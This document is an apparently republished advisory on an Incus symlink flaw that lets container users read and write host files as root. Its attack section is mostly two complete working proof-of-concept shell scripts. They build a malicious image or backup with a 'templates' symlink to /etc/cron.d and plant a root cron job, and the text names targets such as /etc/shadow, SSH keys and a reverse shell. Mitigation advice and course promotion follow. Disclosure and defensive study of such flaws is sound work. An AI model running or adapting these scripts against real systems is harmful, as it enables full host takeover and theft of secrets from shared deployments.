Listen to this Post
This vulnerability affects Incus, a system container and virtual machine manager. It allows a user who can launch a container with a custom image (for example, a member of the `incus` group) to read and write arbitrary files on the host filesystem, ultimately leading to arbitrary command execution as root.
The issue stems from two separate code paths that fail to properly sanitize symbolic links inside container images and instance backups.
For container images, the function `archive.Unpack` in `internal/server/storage/utils.go` is used to extract the image tarball. The underlying tar extraction logic in `shared/archive/archive.go` correctly blocks device nodes but does not reject a top‑level `templates` symlink. When an image contains a `metadata.yaml` file that defines templates, the source and target paths are not checked for symbolic links or directory traversal. An attacker can place a symlink named `templates` that points to any directory on the host (e.g., /etc/cron.d). During container initialisation, Incus follows this symlink and treats the target directory as the template source, allowing the attacker to read or write files outside the container’s rootfs.
For instance backups, the function `rsync.LocalCopy` in `internal/server/storage/drivers/driver_dir_volumes.go` uses the `-a` (archive) flag but does not include --safe-links. This means that when restoring a backup, rsync will follow symbolic links and copy files from the linked host directory into the container’s templates location. By crafting a backup with a top‑level `templates` symlink pointing to a sensitive host directory, an attacker can again read and write arbitrary files on the host.
In practice, an attacker can map `templates` to `/etc/cron.d` and then create a cron job that executes arbitrary commands as root. The same technique can be used to read sensitive files like `/etc/shadow` or overwrite system binaries. The vulnerability is rated Critical because it gives unprivileged (but authenticated) users full host compromise with minimal effort.
DailyCVE Form
| Field | Value |
|-|-|
| Platform | Incus |
| Version | ≤ 6.21.0, ≤ 6.0.5 |
| Vulnerability | Arbitrary file read/write via unsanitized symlink |
| Severity | Critical |
| Date | 2026‑06‑25 |
| Prediction | 2026‑07‑15 (expected patch in 6.0.6 / 6.21.0) |
What Undercode Say
Analytics – The following commands and scripts demonstrate how the vulnerability can be weaponised. Both the image‑based and backup‑based attack vectors are shown.
Malicious Container Image
!/bin/sh
set -eu
tmpdir=$(mktemp -d)
cleanup() {
rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP
mkdir -p "${tmpdir}/img/rootfs"
ln -s /etc/cron.d "${tmpdir}/img/templates"
cat <<__EOF__ > "${tmpdir}/img/metadata.yaml"
architecture: x86_64
creation_date: 1
properties:
description: PoC templates symlink host afrw
<strong>EOF</strong>
cd "${tmpdir}/img"
tar --owner=0 --group=0 -f- -c > ../afrw-image-templates-symlink.tar
incus image import ../afrw-image-templates-symlink.tar --alias afrw-image-templates-symlink
incus init afrw-image-templates-symlink afrw-image-templates-symlink
List templates (read)
incus config template ls afrw-image-templates-symlink
Write a cronjob that runs `id > /pwned` every minute as root
printf " root sh -c 'id>/pwned'\n" | incus config template create afrw-image-templates-symlink poc-32
Malicious Instance Backup
!/bin/sh
set -eu
tmpdir=$(mktemp -d)
cleanup() {
rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP
mkdir -p "${tmpdir}/img/backup"
cat <<__EOF__ > "${tmpdir}/img/backup/index.yaml"
name: afrw-backup-templates-symlink
backend: dir
pool: default
type: container
optimized: false
<strong>EOF</strong>
mkdir "${tmpdir}/img/backup/container"
cat <<__EOF__ > "${tmpdir}/img/backup/container/backup.yaml"
container:
name: afrw-backup-templates-symlink
architecture: x86_64
type: container
status: Stopped
status_code: 102
stateful: false
ephemeral: false
profiles:
- default
config:
volatile.uuid: 58a0f7de-2490-4e85-9fb2-153ef0fc7be5
volatile.uuid.generation: 24d829e5-d74a-4285-88c0-be369140fb49
expanded_config:
volatile.uuid: 58a0f7de-2490-4e85-9fb2-153ef0fc7be5
volatile.uuid.generation: 24d829e5-d74a-4285-88c0-be369140fb49
devices: {}
expanded_devices:
root:
path: /
pool: default
type: disk
created_at: "2024-01-01T00:00:00Z"
last_used_at: "2024-01-01T00:00:00Z"
volume:
name: afrw-backup-templates-symlink
type: container
content_type: filesystem
config: {}
pool:
name: default
driver: dir
config: {}
<strong>EOF</strong>
cat <<__EOF__ > "${tmpdir}/img/backup/container/metadata.yaml"
architecture: x86_64
creation_date: 1
properties:
description: afrw-backup-templates-symlink
<strong>EOF</strong>
mkdir "${tmpdir}/img/backup/container/rootfs"
ln -s /etc/cron.d "${tmpdir}/img/backup/container/templates"
cd "${tmpdir}/img"
tar --owner=0 --group=0 -f- -c backup > ../afrw-backup-templates-symlink.tar
incus import ../afrw-backup-templates-symlink.tar afrw-backup-templates-symlink
List templates (read)
incus config template ls afrw-backup-templates-symlink
Write a cronjob that runs `id > /pwned` every minute as root
printf " root sh -c 'id>/pwned'\n" | incus config template create afrw-backup-templates-symlink poc-32
Exploit
An attacker with the ability to launch a container using a custom image (typically a member of the `incus` group) can:
1. Craft a malicious image or backup containing a top‑level `templates` symlink pointing to a host directory (e.g., /etc/cron.d, /root/.ssh, /etc/shadow).
2. Import and initialise the image or restore the backup.
3. Read any file from the target directory by using incus config template show.
4. Write arbitrary files by creating or editing a template, which Incus writes directly into the symlinked host directory.
5. Escalate to root by, for example, writing a cron job that executes a reverse shell or runs `id > /pwned` as root.
The entire attack requires no special privileges beyond those already granted to any Incus user, making it a trivial privilege‑escalation vector in multi‑tenant environments.
Protection
- Upgrade to Incus versions 6.0.6 or 6.21.0 (or later) as soon as they are released. These versions add proper validation to reject top‑level `templates` symlinks and include the `–safe-links` flag in rsync operations.
- Restrict the `incus` group membership to only trusted users. In environments where this is not possible, consider using separate Incus daemons for untrusted workloads.
- Audit existing images and backups for any `templates` symlink that points outside the container’s expected paths.
- Monitor the host for unexpected cron jobs, modified system files, or suspicious `incus config template` activity.
- Apply the principle of least privilege: avoid running Incus as root if possible, and use AppArmor or SELinux profiles to limit the impact of a container breakout.
Impact
- Arbitrary File Read – An attacker can read any file on the host filesystem, including
/etc/shadow, SSH private keys, and application secrets. - Arbitrary File Write – An attacker can overwrite any file on the host, including system binaries, configuration files, and cron entries.
- Remote Code Execution – By writing a cron job or replacing a system binary, the attacker can execute arbitrary commands with root privileges.
- Full Host Compromise – The combination of read/write access gives the attacker complete control over the host, enabling persistence, data exfiltration, and lateral movement within the network.
- Multi‑Tenant Risk – In shared Incus deployments, any user who can launch a container can compromise the entire host and all other containers running on it.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
